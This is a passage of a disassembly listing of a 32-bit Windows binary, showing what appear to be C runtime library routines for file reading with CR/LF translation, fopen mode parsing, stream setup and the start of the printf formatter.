		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2690A97h
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4E0BA8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4E0D14
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4E0D10
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4E1E60
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4E0E48
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4E0E48
		mov	[edi+ecx], eax
		mov	eax, dword_4E0E48
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_441BA8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_441BA8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_4422B8
		jz	short loc_41F5EA
		cmp	esi, offset dword_4422D8
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4E1E80[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_442200


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_441BA8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_441DC4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_441DC0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_442150
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
